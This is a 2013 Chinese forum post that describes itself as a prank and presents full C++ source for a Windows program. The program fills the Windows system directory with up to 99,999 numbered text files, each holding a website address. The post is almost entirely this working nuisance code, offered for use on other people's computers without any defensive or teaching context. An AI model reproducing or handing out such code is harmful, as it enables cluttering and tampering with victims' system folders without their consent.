曲径通幽论坛

 找回密码
 立即注册
搜索
查看: 2667|回复: 0
打印 上一主题 下一主题

一个往别人 Windows 目录里塞满文件的实例

[复制链接]

716

主题

734

帖子

2946

积分

超级版主

Rank: 9Rank: 9Rank: 9

积分
2946
跳转到指定楼层
楼主
发表于 2013-7-11 22:54:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是一个恶作剧程序,原理很简单,代码如下:
[C++] 纯文本查看 复制代码
// ezj.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>
#include <string>
int main(int argc, char* argv[])
{
    char Path[MAX_PATH];
    char FileName[MAX_PATH];
    char Data[MAX_PATH]="www.groad.net";
    for(int i=0;i<99999;i++) //
    {
        //得到windows目录
        GetWindowsDirectory(Path, MAX_PATH);

        //用i的值加.txt来给文件命名
        wsprintf(FileName,"\\%d.txt",i);

        //给path赋以完整路径
        strcat(Path,FileName);

        HANDLE hFile;

        //创建文件
        hFile=CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
        if(hFile==INVALID_HANDLE_VALUE)
        {
            continue;
        }

        DWORD dwWrite;

        //把Data中的数据写入文件
        WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL);

        //关闭文件句柄
        CloseHandle(hFile);
        memset(Path,0x00,MAX_PATH);
        memset(FileName,0x00,MAX_PATH);
    }
    return 0;
}
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|曲径通幽 ( 琼ICP备11001422号-1|公安备案:46900502000207 )

GMT+8, 2024-5-15 13:40 , Processed in 0.073593 second(s), 23 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表